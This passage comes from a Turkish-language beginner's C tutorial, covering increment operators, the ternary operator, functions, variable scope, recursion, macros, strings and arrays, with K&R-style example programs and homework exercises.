ikincisi daha kolay - x daima x e esit olacagindan, denklem daima yalnis
olacaktir. Son olarak, x e sifir degeri atanir, ve parantezin sonucu sifir
oldugundan, z ye atama yapilmaz.

C NIN CABUK TARAFLARI

C de 3 tane, bakinca hicbir seye benzemeyen, fakat programlarken hiz
saglayan kestirme yol vardir. Bu metodlar iyi C programcilari tarafindan
cok SIK kullanildigindan, ogrenmenizde fayda vardir.

KESTIRME.C:
================================================================

main()
{
int x = 0,y = 2,z = 1025;
float a = 0.0,b = 3.14159,c = -37.234;

/* Arttirma */
x = x + 1; /* Bu x i bir arttirir */
x++; /* Bu da.. */
++x; /* Bu da.. */
z = y++; /* z = 2, y = 3 */
z = ++y; /* z = 4, y = 4 */

/* Azaltma */
y = y - 1; /* Bu y nin degerini bir azaltir */
y--; /* Bu da.. */
--y; /* Buddah.. */
y = 3;
z = y--; /* z = 3, y = 2 */
z = --y; /* z = 1, y = 1 */

/* aritmetik islemler */
a = a + 12; /* a ya 12 eklemek */
a += 12; /* 12 daha eklemek.. */
a *= 3.2; /* a yi 3.2 ile carpmak */
a -= b; /* b yi a dan cikarmak */
a /= 10.0; /* a yi ona bolmek */

/* sartli islemler */
a = (b >= 3.0 ? 2.0 : 10.5 ); /* Bu islem....... */

if (b >= 3.0) /* ve bu islemler.. */
a = 2.0; /* birbiri ile aynidir */
else /* ve ayni sonucu */
a = 10.5; /* saglarlar. */

c = (a > b?a:b); /* c, a yada b nin max ini alir */
c = (a > b?b:a); /* c, a yada b nin min ini alir. */
}
================================================================

KESTIRME.C ye bakin. Bu programda, ilk komutta, x in degeri bir tane
arttiriliyor. Ikinci ve ucuncu komutlar da ayni seyi yaparlar. Yani, iki
tane arti isareti, degiskenin degerini bir arttirir. Ayrica, sayet ++
isareti degiskenin onunde ise, degisken kullanilmadan once degeri
arttirilir, sayet ++ isareti degiskenin arkasinda (saginda) ise,
kullanildiktan sonra degeri arttirilir.

Dorduncu komutta ise, y nin degeri, z ye atanir, ve daha sonra da y nin
degeri bir arttirilir. Bundan sonraki komutta ise, y nin degeri ilk once
arttirilir, daha sonra bu deger z ye verilir.

Ikinci grupta, azaltici operatorleri goruyoruz. Ayni arttirici operatorler
gibi, bu gruptaki ornekler de bir oncekiler ile aynidir.

Ucuncu grupta, aritmetik kestirme metodlari goruyoruz. ilk ornekte, a ya
12 eklenir. Bunun altindaki satirda ise, tekrar ayni sey yapilir. Yani, +=
operatoru, soldaki degiskene, sag tarafin sonucunun eklenecegini belirtir.
Yine ayni sekilde, bu is carpma, cikarma, ve bolme islemleri icin de
yapilabilir.

Dorduncu grupta ise, a ya, karmasik bir degerin atandigini goruyoruz.
Bunun hemen altindaki if... satirlari ise, bu tek satir ile es anlamdadir.
Bu karsilastirma operatoru, uc parcadan olusmustur. Bu parcalar
birbirinden soru, ve iki nokta isaretleri ile ayrilirlar. Ilk once soru
isaretinden onceki kisim degerlendirilir, sonuc EVET cikar ise, soru
isaretinden hemen sonraki deger, dondurulur, sayet sonuc HAYIR cikar ise,
iki nokta isaretinden sonraki deger dondurulur.

Bundan sonra ise, bu karsilastirma operatorunun c ye atama yapmakta
kullanildigini goruyoruz. Ilk once, a ile b nin hangisinin degeri buyukse,
o degere c ye atanir, ve ikincide ise, hangisi daha kucuk ise, o c ye
atanir.

ODEV:

1. Birden onikiye sayacak bir program yazin. Bu program, sayarken
rakamlari ve bu rakamlarin karelerini ekrana yazsin.

1 1
2 4
3 9 gibi..

2. Birden onikiye sayan programi biraz degistirerek, sayimi yazan, ve 1 in
inversini, bes haneli alan bir program yazin. Yani:

1 1.00000
2 .50000
3 .33333
4 .25000 gibi..

3. Birden yuze kadar sayan, fakat 32 ila 39 arasindaki degerleri yazan bir
program yazin. Her satira bir rakam yazilsin..
C dili - 5. Konu


Fonksiyonlar ve degiskenler

KARETOPL.C:
================================================================

int toplam; /* Global degisken */

main()
{
int index;

baslik(); /* Baslik isimli fonksiyonu cagirir */

for (index = 1;index <= 7;index++)
kare(index); /* Bu, kare fonksiyonunu cagirir. */

bitis(); /* Bu da, bitis isimli fonksiyonu cagirir */
}

baslik() /* Bu fonksiyonun tanimidir */
{
toplam = 0; /* "Toplam" isimli degiskene 0 degeri atanir.. */
printf("Bu, kare programinin basligidir\n\n");
}

kare(rakam) /* Bu, kare fonksiyonunun baslangicidir */
int rakam;
{
int karesi; /* Yerel degisken tanimlaniyor */

karesi = rakam * rakam ; /* Karesini olusturuyor. */
toplam += karesi; /* Bulunan deger, toplama ekleniyor */
printf("%d nin karesi %d dir.\n",rakam,karesi);
}

bitis() /* Bitis fonksiyonu tanimlaniyor. */
{
printf("\nKarelerin toplami: %d dir..\n",toplam);
}
================================================================


KARETOPL.C isimli programa bir bakin. Bu program, fonksiyonlu ilk
programimiz. Goreceginiz gibi C de fonksiyon tanimlamak o kadar kolaydir
ki, programlarin fonksiyonlara parcalanmasi neredeyse istemeden olur.
Aslinda, biz fonksiyonlari kullanip duruyorduk, ornegin kullandigimiz
printf komutu, bir fonksiyondur. Printf fonksiyonu, derleyici ile gelen
fonksiyon kutuphanesinin bir parcasidir.

Bu programin calisan kismina bir bakin. baslik() isimli bir satir ile
basliyor. Iste C de, herhangi bir fonksiyon, bu sekilde cagirilir: ismi,
parantez, ve sayet varsa bu fonksiyona gonderilmesi istenen degerler
yazilir. Programin calismasi bu satira gelince, baslik isimli fonksiyona
atlanir, ve buradaki islemler yapilir. Bitince, program geri doner, ve
ana programda kaldigi yerden isleme devam eder, ve "for" dongusune gelir.
Burada, yedi kere "kare" isimli bir fonksiyonu cagirir, daha sonra "bitis"
fonksiyonunu cagirir ve program sona erer.

FONKSIYONUN TANIMLANMASI

main'den sonra ayni main'in ozelliklerini tasayan bir program
goreceksiniz. Sadece bunun ismi "baslik()" olarak tanimlanmistir. Bu
basligin ilk satirinda "toplam" degiskeninin degeri 0 a atanir, ve bir
baslik satiri yazilir. Dikkat ederseniz, "toplam" degiskenini,
fonksiyonlarin disinda, programin basinda tanimlamistik. Bu sekilde
tanimlanan bir degisken, o programdaki herhangi bir fonksiyondan
cagirilabilir. Bu tip degiskenlere "global" denir.

Bu iki satiri main() in icine de koymamiz mumkundur. Bu ornek sadece
fonksiyonlarin kullanimini gostermektedir.

FONKSIYONA DEGER GECIRMEK

Ana programda, "for" dongusunde, "index++" deyimini goruyorsunuz. Ilk
olarak gecen konuda ogrendigimiz birer birer arttirma metoduna alismaya
bakin, cunku C programlarinda cok karsilasacaksiniz.

"kare" isimli fonksiyonu cagirirken, bir yenilik kattik. Yani, parantez
icindeki "index" deyimini. Bu da derleyiciye, o fonksiyona gidince,
"index" in o andaki degerini de beraberimizde goturmek istedigimizi
belirtir. "Kare" isimli fonksiyonun basligina baktigimizda ise,
parantezler icinde bir baska degisken ismi goruyoruz: "rakam." Ana
programdan "kare(index)" dedigimizde gelen index'in degerine, bu fonksiyon
icinde 'rakam' diyecegimizi belirtiyoruz. Buna rakam demek yerine
istedigimiz herhangi bir ismi verebilirdik - C nin degisken isim
kurallarina uymasi sarti ile. Fonksiyon, ona ne tip bir deger
gecirilecegini bilmesi icinde, hemen alt satirda, "int rakam" diyerek,
gelecek bu degerin bir integer olacagini belirtiyoruz.

Kume isaretinden sonra, "int karesi" deyimi ile, sadece bu fonksiyonun
icinde tanimli olan bir degisken daha tanimlandigini goruyoruz. Bundan
sonra, "karesi" degiskenine 'rakam' in karesini atiyoruz, ve "toplam"
degiskenine de "karesi" degiskeninin degerini ekliyoruz.

BIR FONKSIYONA DEGER ATAMA HAKKINDA DAHA BILGI

Aslinda "index" in degerini fonksiyona gecirdigimizde, anlattigimdan biraz
daha fazla sey oldu. Gercekte, "index" in degerini gecirmedik bu
fonksiyona, o degerin bir kopyasini gecirdik. Bu sayede, "index" in asil
degeri, fonksiyon tarafindan kazara zarar goremez. "rakam" isimli
degiskenimizi fonksiyon icinde istedigimiz gibi degistirebilirdik, fakat
ana programa geri dondugumuzde, "index" in degeri yine ayni kalirdi.

Boylece, degiskenin degerinin zarar gormesini onlemis oluyoruz, fakat ayni
zamanda, ana programa bir deger dondurmemize de mani oluyoruz. Pointers
kisimina gelince, cagiran fonkisyona degeri dondurmek icin, iyi tanimli
bir metod gorecegiz. O zamana kadar ana programa deger dondurmenin yegane
yolu, global degiskenler kullanaraktir. Global degiskenlerden biraz
bahsetmistik, bu konu icersinde, daha da bahsedecegiz.

Programa devam ederek, bitis() isimli bir fonksiyonun cagirilisina
geliyoruz. Bu cagirma da, hicbir yerel degiskeni olmayan fonksiyonu
cagirir. "toplam" degiskeninin degerini yazdiktan sonra ana kesime donen
program, yapacak baska birsey olmadigini gorunce durur.

UFAK BIR YALANI ITIRAF ETME ZAMANI

Biraz once size bir fonksiyondan bir deger dondurmek icin yegane yolun
global degiskenler ile olabilecegini soylemistim. Fakat bir baska metod
daha var. Lutfen KARELER.C isimli programa bakin...

KARELER.C:
=====================================================================

main() /* Ana program burada. */
{
int x,y;

for(x = 0;x <= 7;x++) {
y = squ(x); /* x*x i hesaplayalim.. */
printf("%d nin karesi %d dir...\n",x,y);
}

for (x = 0;x <= 7;++x)
printf("%d nin karesi %d dir...\n",x,squ(x));
}

squ(in) /* Bir rakamin karesini bulan fonksiyon */
int in;
{
int kare;

kare = in * in;
return(kare); /* Yeni buldugumuz deger donduruluyor.. */
}

=====================================================================

Bu program, tek bir deger dondurmenin kolay oldugunu gosteriyor. Fakat,
birden fazla deger dondurmek icin, baska metodlara gerek oldugunu
hatirlamanizda fayda var.

ana programda, iki tane tamsayi degiskeni tanimliyoruz, ve 8 kere islenen
bir "for" dongusu baslatiyoruz. Dongudeki ilk satir, "y = squ(x);", yeni
ve tuhaf gorunuslu bir satir. Onceki programlarda gordugumuz gibi, squ(x)
kisimi, squ isimli fonksiyonu, x parametresi ile cagirmaktadir. Fonksiyona
baktigimizda, bu gecen degiskenin orada 'in' isminde oldugunu, ve kare
ismindeki yerel degiskene, gecirdigimiz degerin karesinin atandigini
goruyoruz. Daha sonra, yeni "return" komutunu goruyoruz. Parantezler
icindeki bu deger, fonksiyonun kendisine atanir, ve ana programa bu deger
dondurulur. Yani, "squ(x)" fonksiyonu, x in karesine atanir, ve bu deger,
ana programa atanir. Ornegin, x in degeri 4 ise, y nin degeri, "y=squ(x)"
satirindan sonra 16 olacaktir.

Bir baska dusunme sekli de, "squ(x)" sozcugunu, "x" in karesi degerinde bir
degisken olarak dusunmektir. Bu yeni degisken de, degiskenlerin
kullanildigi herhangi bir yerde kullanilabilir. Baska bir degisken olarak
gormeye bir ornek olarak bu programda ikinci bir dongu vardir. Burada,
y degiskenine atamak yerine, printf'in icinde, bu fonksiyonu cagiriyoruz.

Bir fonksiyondan donecek degiskenin tipi, derleyiciye bildirilmelidir.
Fakat, bizim yaptigimiz gibi sayet belirtmezsek, derleyici donecek degerin
tam sayi (integer) olacagini kabul edecektir. Baska tiplerin tanimlanmasini
ise, bundan sonraki programda gorecegiz..


KAYAR NOKTA FONKSIYONLARI

KAYARKAR.C:
================================================================

float z; /* Bu bir global degiskendir */

main()
{
int index;
float x,y,sqr(),glsqr();

for (index = 0;index <= 7;index++){
x = index; /* int'i float yapalim */
y = sqr(x); /* x'in karesini alalim.. */
printf("%d in karesi %10.4f dir.\n",index,y);
}

for (index = 0; index <= 7;index++) {
z = index;
y = glsqr();
printf("%d in karesi %10.4f dir.\n",index,y);
}
}

float sqr(deger) /* float'in karesini al, float dondur. */
float deger;
{
float karesi;

karesi = deger * deger;
return(karesi);
}

float glsqr() /* float'in karesini al, float dondur. */
{
return(z*z);
}
================================================================

KAYARKAR.C isimli programa bir bakin. Ilk once daha sonra kullanacagimiz
bir global degisken tanimlamak ile basliyor. Programin "main" kisiminda,
bir tamsayi degiskeni tanimlaniyor. Bunun altinda, iki tani tamsayi
degiskeni, iki tane de tuhaf gorunuslu tanimlamalar var. "sqr()" ve
"glsqr()" isimli iki fonksiyon gibi gorunuyorlar, ve oyleler. Bu, C
dilinde "int" yani tamsayi dan baska birsey dondurecek bir fonksiyonun
(float mesela) resmi sekilde tanimlanmasidir. Bu derleyiciye, bu iki
fonksiyondan bir deger donunce, bu degerin float olacagini bildiriyor.

Simdi programin ortasinda yer alan "sqr" fonksiyonuna bir bakin. Burada
fonksiyonun isminin basinda bir "float" sozcugu goreceksiniz. Bu
derleyiciye herhangi bir yerden bu fonksiyon cagirilinca, donecek degerin
float olacagini bildiriyor. Simdi bu fonksiyon, ana programdaki cagirma
ile uyumludur. Bunun altinda, "float deger" satirini goruyorsunuz. Bu da,
bu fonksiyona, cagiran tarafindan gecirilecek degerin, bir "float" yani
kayar nokta olacagini bildirir.

Bundan sonraki fonksiyon "glsqr" da, bir kayar nokta donduruyor, fakat o,
input icin global bir degikeni (z degiskenini) kullaniyor. Ayrica, yeni
bir degisken tanimlamadan, karesini almayi "return" komutunun icinde
yapiyor.

DEGISKENLERIN ALANI

ALAN.C:
================================================================
int say; /* Bu bir global degiskendir. */

main()
{
register int index; /* Bu degisken sadece "main" icinde kullanilabilir */

baslik_1();
baslik_2();
baslik_3();
/* bu programin ana "for" dongusu */
for (index = 8;index > 0;index--)
{
int birsey; /* Bu degisken sadece bu kume isaretleri arasinda tanimli */

for (birsey = 0;birsey <= 6;birsey++)
printf("%d ",birsey);

printf(" index simdi: %d oldu.\n",index);
}
}

int sayac; /* Bu degisken bu noktadan sonra kullanilabilir. */

baslik_1()
{
int index; /* Bu degisken sadece baslik_1 icinde tanimli */

index = 23;
printf("Baslik_1 deki degeri %d\n",index);
}

baslik_2()
{
int say; /* Bu degisken sadece baslik_2 icinde gecerli */
/* ayni isimli global degiskenin yerini alir.. */

say = 53;
printf("Baslik_2 deki degeri %d\n",say);
sayac = 77;
}

baslik_3()
{
printf("Baslik_3 deki degeri ise %d\n",sayac);
}
================================================================

Ilk tanimlanan degisken "say", butun fonksiyonlardan once tanimlandigi
icin, herhangi biri tarafindan cagirilabilir, ve daima erisilebilir. Daha
sonra, "sayac" isimli bir degisken tanimliyoruz. Bu da global bir
degiskendir, fakat ana programdan sonra tanimlandigi icin, ana program
tarafindan kullanilamaz. Global bir degisken, fonksiyonlarin disinda
tanimlanan degiskenlere denir. Bu tip degiskenlere dissal degiskenler adi
da verilebilir.

Ana programa geri donerek, "index" isimli degiskenin tanimina bakalim. Su
an icin "register" sozcugunu goz onune almayin. Bu degisken "otomatik" bir
degiskendir, yani o fonksiyon cagirildiginda olusur, ve fonksiyondan
cikinca kaybolur. Ana program baska fonksiyonlari cagirdiginda bile daima
calisir oldugundan, burada pek manasi yoktur. Tanimlanan diger bir
degisken de, "birsey" degiskenidir. Bu degisken, sadece "for" dongusunun
icinde tanimlidir, ve baska bir yerden erisilemez. Herhangi bir kume
dongusunun basina, degisken tanimlamalari konulabilir. Kumeden cikinca, bu
degisken tanimsiz olacaktir.

OTOMATIK DEGISKENLER HAKKINDA...

Baslik_1'e bir bakin. "index" isimli bir degisken kullaniyor. Bu
degiskenin ana programdaki "index" ile arasinda, ikisinin de otomatik
degisken olmasi disinda hicbir bag yoktur. Program, bu fonksiyonu
islemezken, bu degisken yoktur bile. Baslik_1 cagirildiginda, bu degisken
yaratilir, ve baslik_1 bitince de bu degisken silinir. Fakat bu, ana
programdaki ayni isimli degiskenin degerini hic etkilemez, cunku ayri
nesnelerdir.

Yani otomatik degiskenler, gerektiginde yaratilirlar, ve isleri bitince de
silinirler. Hatirlamaniz gereken bir nokta da, bir fonksiyon birden fazla
kere cagirildiginda, otomatik degiskenlerin eski degerleri saklanmaz, yeni
bastan deger atanmalari gerekir.

STATIK DEGISKENLER ?

Bir baska degisken tipi ise, statik degiskenlerdir. Degiskeni tanimlarken
basina "static" sozcugunu koyarak, o degisken yada degiskenler,
fonksiyonun tekrar tekrar cagirilmasinda, eski degerlerini tutarlar.

Ayni sozcugu bir global degiskenin onune koyarak, o degiskenin sadece o
kutuk icindeki fonksiyonlara tanimli olmasini saglayabiliriz. Bundanda
anlayacaginiz gibi, birkac parcadan olusan kutukler arasinda global
degiskenlerin tanimlanmasi mumkundur. Bunu 14. konuda daha iyi gorecegiz.

AYNI ISMI TEKRAR KULLANMAK

baslik_2 ye bir bakin. Burada "say" isimli degiskenin tekrar
tanimlandigini ve 53 degerini aldigini goruyoruz. Global olarak
tanimlanmasina karsin, ayni isimde bir otomatik degisken tanimlamak
mumkundur. Bu degisken tumuyle yeni bir degiskendir, ve global olarak,
programin basinda tanimlanan "say" ile arasinda hicbir baglanti yoktur. Bu
sayede kafanizda "acaba global isimlerle karisirmi" sorusu olmadan
fonksiyon yazabilirsiniz.

REGISTER DEGISKENLERI NEDIR

Sozumu tutarak, register degiskenine donelim. Bir bilgisayar bilgiyi
hafizada yada registerlerde tutabilir. Register sahasina erisim, hafizaya
erisimden cok daha hizlidir, fakat programcinin kullanabilecegi az sayida
register vardir. Bazi degiskenlerin program tarafindan cok kullanilacagini
dusunuyorsaniz, o degiskeni "register" olarak tanimlayabilirsiniz.
Bilgisayar ve derleyici tipinize gore, bir yada birkac degiskeni bu
sekilde tanimlayabilirsiniz. Cogu derleyicilerin hic register degiskenleri
yoktur, ve "register" sozcugunu goz onune almadan derleme yaparlar.

Register degiskenleri, sadece tamsayi ve karakter tipi degiskenler ile
kullanilabilir. Sectiginiz derleyiciye gore, unsigned, long yada short
tipleride register olabilir.

DEGISKENLERI NEREDE TANIMLAYALIM

Bir fonksiyona parametre olarak gecirilmis degiskenler varsa, bunlarin
tanimi, fonksiyon isminden sonra, ve acik kume isaretinden once
yapilmalidir. Fonksiyonda kullanilan diger degiskenler ise, fonksiyonun
basinda, hemen acik kume isaretinden sonra tanimlanir.

STANDART FONKSIYON KUTUPHANESI

Her derleyici, icinde bircok fonksiyon olan bir kutuphane ile birlikte
gelir. Bunlar genellikle giris/cikis islemleri, karakter ve katar isleme,
ve matemetiksel fonksiyonlari icerir. Bunlarin cogunu sonraki konularda
gorecegiz.

Bunun disinda, cogu derleyicinin, standart olmayan, ve kullandiginiz
bilgisayarin ozelliklerini kullanan, ilave fonksiyonlari vardir. Ornegin,
IBM-PC ve uyumlular icin, BIOS servislerini kullanan fonksiyonlar
sayesinde, isletim sistemine komutlar vermeyi, yada ekrana direk yazmayi
saglayan fonksiyonlar olabilir.

RECURSION NEDIR ?

RECURS.C:
================================================================

main()
{
int index;

index = 8;
geri_say(index);
}

geri_say(rakam)
int rakam;
{
rakam--;
printf("rakam degeri %d dir.\n",rakam);
if (rakam > 0)
geri_say(rakam);
printf("Simdi rakam %d oldu..\n",rakam);
}

================================================================

Recursion, ilk karsilasildiginda cok korkutucu gorunen bir kavramdir.
Fakat RECURS.C isimli programa bakarsaniz, recursion'un butun zorlugunu
yenebiliriz. Aslinda fazla basit ve dolayisi ile aptal olan bu program,
bize recursion'un kullanimini gostermesi bakimindan cok yararlidir.

Recursion, kendini cagiran bir fonksiyondan baska birsey degildir. Yani,
bitmek icin bir kontrol mekanizmasina ihtiyaci olan bir dongudur.
Karsinizdaki programda "index" degiskeni 8 e atanir, ve "geri_say"
fonksiyonunun parametresi olarak kullanilir. Bu fonksiyon da, bu
degiskenin degerini teker teker azaltir, ve bize bu degeri gosterir. Sonra
tekrar kendisini cagirir, degeri bir kez daha azalir, tekrar, tekrar..
Sonunda deger sifira ulasir, ve dongu artik kendini cagirmaz. Bunun
yerine, daha onceki cagirmada kaldigi yere geri doner, tekrar geri doner,
en sonunda ana programa geri doner, ve program sona erer.


NE OLDU ?

Fonksiyon kendisini cagirdiginda, butun degiskenlerini,ve cagirilan
fonksiyonun islemesi bittiginde donmesi gereken yeri hafizaya sakladi.
Bir dahaki sefere kendinin tekrar cagirdiginda, yine ayni seyi yapti, ta
ki kendisini tekrar cagirmasi bitene kadar. Daha sonra tekrar bu
bilgileri, ayni koyus sirasi ile geri okudu.

Hatirlamaniz gereken nokta, recursion'un bir noktada bitmesi gerektigidir,
sayet sonsuz bir donguye girerseniz, bilgisayarin hafizasi bitecek ve bir
hata mesaji cikacaktir.

ODEVLER

1. Daha once yazdigimiz Santigrad'dan Fahrenheit'a karsilik tablosundaki
derece hesaplamasini bir fonksiyona geciriniz.
2. Ekrana isminizi 10 kere yazan bir program yaziniz. Yazma isini yapmak
icin bir fonksiyon cagiriniz. Daha sonra bu fonksiyonu main() in basina
alarak, derleyicinin bunu kabul edip etmedigini kontrol ediniz.

C Dili - 6. Konu

================================================================

#define BASLA 0 /* Dongunun baslangic noktasi */
#define BITIR 9 /* Dongunun bitis noktasi */
#define MAX(A,B) ((A)>(B)?(A):(B)) /* Max makro tanimlanmasi */
#define MIN(A,B) ((A)>(B)?(B):(A)) /* Min makro tanimlanmasi */

main()
{
int index,mn,mx;
int sayac = 5;

for (index = BASLA;index <= BITIR;index++) {
mx = MAX(index,sayac);
mn = MIN(index,sayac);
printf("Max simdi %d ve min de %d ..\n",mx,mn);
}
}

================================================================

Bu programda, ilk defa define lara ve makrolarla tanisacaksiniz. Ilk dort
satirdaki "#define" sozcuklerine dikkat edin. Butun makrolar ve define'lar
bu sekilde baslar. Derleme baslamadan, on-derleyici (preprocessor) bu
tanimlari alir, ve programda bu sembolleri gercek degerleri ile
degistirir. Ornegin, BASLA sembolunu heryerde sifir ile degistirir.
Derleyicinin kendisi, bu BASLA yada BITIR sembollerini gormez bile.

Boyle ufak bir programda bu sekilde semboller tanimlamak luzumsuzdur,
fakat ikibin satirlik bir programda, yirmiyedi yerde BASLA olsa idi,
sayede #define'i degistirmek, programdaki rakamlari degistirmekten daha
kolay olurdu.

Ayni sekilde on-derleyici, BITIS sembolu gordugu heryere 9 rakamini
koyar.

C de alisilmis bir teknik de, BASLA yada BITIR gibi sembolik sabitlerin
buyuk harfle, ve degisken isimlerinin de kucuk harfle yazilmasidir.

MAKRO NEDIR ?

Makro, bir #define satirindan baska birsey degildir. Fakat icinde islemler
yapabildigi icin, ona ozel bir isim verilmistir. Ornegin ucuncu satirda,
iki rakamin hangisi buyukse onu donduren MAX isimli bir makro
tanimliyoruz. Bundan sonra on-derleyici ne zaman MAX termini ve arkasindan
parantezi gorurse, bu parantezlerin arasinda iki tane deger bulacagini
farz eder, ve tanimda bulunan deyimi, buraya koyar. Ornegin, onikinci
satira gelindiginde, "A" yerine "index" ve "B" yerine de "sayac" konur.

Ayni sekilde "MIN" isimli makro da kendisine gecirilen iki rakamin
hangisi daha kucukse, o degeri dondurur.

Bu makrolarda bir suru fazlalik parantez goreceksiniz. Bunlarin nedeni,
bir sonraki programda anlasilacak..

YALNIS BIR MAKRO

================================================================


#define HATALI(A) A*A*A /* Kup icin hatali makro */
#define KUP(A) (A)*(A)*(A) /* Dogusu ... */
#define KARE(A) (A)*(A) /* Karesi icin dogru makro */
#define START 1
#define STOP 9

main()
{
int i,offset;

offset = 5;

for (i = START;i <= STOP;i++) {
printf("%3d in karesi %4d dir, ve kubu ise %6d dir..\n",
i+offset,KARE(i+offset),KUP(i+offset));

printf("%3d in HATALIsi ise %6d dir.\n",i+offset,HATALI(i+offset));
}
}

================================================================

Ilk satira baktiginiza, HATALI isimli makronun bir rakamin kubunu
aldigini goruyoruz. Gercektende, bu makro bazen dogru calismaktadir.

Programin kendisinde,i+offset 'in KUP unun hesaplandigi yeri
inceleyelim. Sayet i 1 ise, offset de 5 olduguna gore, 1+5 = 6 olacaktir.
KUP isimli makroyu kullanirken, degerler:

(1+5)*(1+5)*(1+5) = 6*6*6 = 216

olacaktir. Halbuki, HATALI yi kullanirsak, carpmanin onceligi, toplamadan
fazla oldugundan, degerleri:

1+5*1+5*1+5 = 1+5+5+5 = 16

seklinde buluyoruz. Yani, parantezler, degiskenleri dogru bir sekilde
birbirinden ayrimak icin gereklidir.

Programin gerisi basittir, ve sizin incelemenize birakilmistir..

ODEV:

1. 7 den -5 e dogru sayan bir program yaziniz.

C Dili - 7. Konu

KELIME KATARI (STRING) NEDIR?

Bir katar, genellikle harflerden olusan karakterler dizisidir. Ciktinizin
guzel ve manali gorunmesi icin, icinde isimler ve adresler olabilmesi
icin, programlarinizin katarlar kullanmasi sarttir. C dilinde tam tanimi,
"char" tipi bilgilerin, NULL karakter (yani sifir) ile sonlandirilmasidir.

C bir katari karsilastiracagi, kopyalayacagi yada ekrana yansitacagi
zaman, bunlari gerceklestiren fonksiyonlar, NULL gorunene dek bu islemi
yapmak uzere programlanmistir.

ARRAY (dizi) NEDIR?

dizi, ayni tip verilerin birbiri arkasina tanimlanmasidir. Kelime katari,
bir cins dizidir.

CHRSTRG.C:
================================================================

main()
{
char isim[7]; /* Bir karakter dizisi tanimlayalim */

isim[0] = 'T';
isim[1] = 'u';
isim[2] = 'r';
isim[3] = 'g';
isim[4] = 'u';
isim[5] = 't';
isim[6] = 0; /* Bos karakter - katarin sonu */

printf("Isim %s dur. \n",isim);
printf("Icinden bir karakter: %c\n",isim[2]);
printf("Ismin bir parcasi: %s \n",&isim[3]);
}

================================================================

Bu programda, ilk once, "char" tipi bir tanimlama goruyoruz. Koseli
parantezler icinde, kac hanelik bir dizi tanimlanacagini belirtiyoruz. C
dilinde butun diziler sifirdan basladigi icin, bu tanimlama ile
kullanabilecegimiz en yuksek index degeri 6 dir.

KATAR NASIL KULLANILIR

Demek ki, "isim" degiskeni, icinde 7 tane karakter tutabilir. Fakat en son
karakterin sifir olmasi zorunlugu oldugu icin, kullanilabilecek olan alan
6 karakterliktir. Bu katarin icine manali birsey yuklemek icin, yedi tane
komut veriyoruz - her biri, katara bir karakter atamaktadir. En sonunda
da, katarin sonunu belirten sifir rakamini koyuyoruz. (Bir "#define" ile
NULL karakteri, programin basinda sifir olarak tanimlayabiliriz.)

printf komutundaki %s isareti, printf'e "isim" isimli katardan, sifira
rastlayincaya kadar ekrana yazmasini belirtir. Dikkat etmeniz gereken bir
nokta, "isim" degiskeninin indexinin yazilmasinin gerekmedigidir.

KATARIN BIR KISMININ YAZILMASI

Ikinci printf komutu ise %c ile, katarin icinden sadece bir karakter
(harf) yazilmasini gosterir. Istedigimiz karakterin index numarasini da,
"isim" degiskeninin yanina, koseli parantezler arasinda gosterebiliriz.

Son printf komutunda ise, katarin 4. karakterinden itibaren yazmanin bir
ornegidir. "isim" degiskeninin onundeki & (ampersand) isareti, isim[3]'un
hafizada saklandigi adresin printf'e gecirilmesini belirtir. Adresleri 8.
konuda gorecegiz, fakat ufak bir ornek ile size bizleri nelerin
bekledigini gostermek istedim.

BAZI KATAR FONKSIYONLARI

KATAR.C
================================================================

main()
{
char isim1[12],isim2[12],karisik[25];
char baslik[20];

strcpy(isim1,"Rosalinda");
strcpy(isim2,"Zeke");
strcpy(baslik,"Bu bir basliktir.");

printf(" %s\n\n",baslik);
printf("isim 1: %s \n",isim1);
printf("isim 2: %s \n",isim2);

if(strcmp(isim1,isim2)>0) /* sayet isim1 > isim2 ise, 1 dondurur */
strcpy(karisik,isim1);
else
strcpy(karisik,isim2);

printf("Alfabetik olarak en buyuk isim %s dir.\n",karisik);

strcpy(karisik,isim1);
strcat(karisik," ");
strcat(karisik,isim2);
printf("Iki isim birden %s\n",karisik);
}
================================================================
Ilk once 4 tane katar tanimliyoruz. Daha sonra, "strcpy" isimli cok pratik
bir fonksiyona geliyoruz. Yaptigi is, bir katari, bir digerine, ta ki
sifir bulunana kadar kopyalamak. Hangi katarin hangisine kopyalancagini
hatirlamak icin, bir atama komutunu dusunun ("x=23" gibi). Veri,
sagdakinden, soldakine kopyalanir. Bu komutun yapilmasindan sonra, isim1
in icinde, "Rosalinda" olacaktir - den-densiz olarak. Den-denler,
derleyicinin sizin bir katar tanimladiginizi anlamasi icin gereklidir.

KATARLARIN ALFABETIK OLARAK SIRAYA KONMASI

Ilginizi cekebilecek diger bir fonksiyonda, "strcmp" dur. Sayet kendisine
gecirilen birinci katar ikinciden daha buyukse, 1 dondurur, ayni ise 0, ve
ikinci daha buyukse -1 dondurur. "Zeke" katarinin kazanmasi, sizi herhalde
sasirtmaz. Burada katarin boyu onemli degildir, sadece icindeki
karakterler. Ayrica harflerin buyuk yada kucuk harf olmasi da fark
ettirir. C de bir katarin butun harflerini kucuk yada buyuge ceviren
fonksiyonlar da vardir. Bunlari daha ileri kullanacagiz.

KATARLARI BIRBIRINE EKLEMEK

En son satirda, "strcat" isimli yeni bir fonksiyon goreceksiniz. Gorevi,
bir katarin sonuna diger katari eklemektir. Bunu yaparken NULL karakterin
de yerli yerinde olmasini saglar. Burada, "isim1", "karisik" 'a
kopyalanir, daha sonra "karisik" a iki bosluk ve "isim2" eklenir.

Katarlar zor degildir, ve son derece faydalidirlar. Onlari kullanmayi
iyice ogrenmenizde fayda vardir.


BIR TAMSAYI DIZISI

INTDIZIN.C:
================================================================
main()
{
int degerler[12];
int index;

for (index = 0;index < 12;index++)
degerler[index] = 2 * (index + 4);

for (index = 0;index < 12;index++)
printf("Index = %2d deki degeri %3d dir..\n",index,degerler[index]);

}
================================================================

Bu programda, bir tamsayi dizisi tanimliyoruz. Gordugunuz gibi, ayni katar
tanimlama gibi.. Bu sayede, index degiskeni haric oniki tane degiskenimiz
oluyor. Bu degiskenlerin isimleri "degerler[0]" , "degerler[1]" ,vs. dir.
Ilk "for" dongusunde, bunlara deger atiyoruz, ikincisi ise, index
degiskeni ve "degerler" dizisinin icindekileri ekrana yaziyor.

BIR KAYAR NOKTA DIZINI

BUYUKDIZ.C:
================================================================
char isim1[] = "Birinci Program basligi";

main()
{
int index;
int ivir[12];
float tuhaf[12];
static char isim2[] = "Ikinci Program Basligi";

for (index = 0;index < 12;index++) {
ivir[index] = index + 10;
tuhaf[index] = 12.0 * (index + 7);
}

printf("%s\n",isim1);
printf("%s\n\n",isim2);
for (index = 0;index < 12;index++)
printf("%5d %5d %10.3f\n",index,ivir[index],tuhaf[index]);
}
